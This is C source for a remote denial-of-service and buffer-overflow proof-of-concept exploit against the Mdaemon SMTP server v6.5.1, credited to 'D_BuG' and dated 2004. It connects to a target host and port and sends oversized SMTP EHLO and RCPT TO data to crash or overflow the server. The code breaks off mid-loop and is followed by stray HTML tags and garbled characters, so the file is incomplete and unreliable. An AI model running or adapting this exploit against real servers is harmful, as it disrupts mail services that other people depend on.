///////////////////////////////////////////////////////////// // Remote DoS and proof-of-concept exploit // // for // // Mdaemon smtp server v6.5.1 // // and // // possible other version. // // Find bug: D_BuG. // // Author: D_BuG. // // D_BuG@bk.ru // // Data: 16/09/2004 // // NOT PUBLIC! // // Greets:Rasco. // ///////////////////////////////////////////////////////////// #include #include #include #include #include #include int sock,err; struct sockaddr_in sa; int main (int argc, char *argv[]) { printf("Remote DoS and proof-of-concept(buffer overflow) exploit\n"); printf(" for \n"); printf("Mdaemon smtp server v6.5.1 and possible other version.\n"); if(argc!=4) { printf("Usage: %s \n",argv[0]); printf("Target:\n1.DoS.\n2.Proof-of-concept(buffer overflow).\n"); printf("e.g.:%s 192.168.1.1 25 1\n",argv[0]); exit(-1); } sa.sin_family=AF_INET; sa.sin_port=htons(atoi(argv[2])); if(inet_pton(AF_INET, argv[1], &sa.sin_addr) <= 0) printf("Error inet_pton\n"); sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); printf("[~]Connecting...\n"); if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) <0) { printf("[-]Connect filed....\nExit...\n"); exit(-1); } int len=247; if(atoi(argv[3])==2) { len++; } char szBuffer[len+7]; char buff[len]; char send[]="EHLO tester\n"; char send3[]="RCPT TO postmaster\n"; char rcv[1024]; int i; for(i=0;i
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß